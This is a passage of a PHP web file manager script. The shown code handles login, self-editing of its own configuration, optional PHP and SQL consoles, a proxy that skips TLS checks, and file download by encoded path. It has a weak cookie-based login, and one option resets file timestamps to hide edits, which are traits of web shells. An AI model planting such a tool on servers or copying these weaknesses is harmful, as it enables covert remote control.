name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__(''.__('$PNG-OP$').'').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__(''.__('$PNG-OP$').'').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" 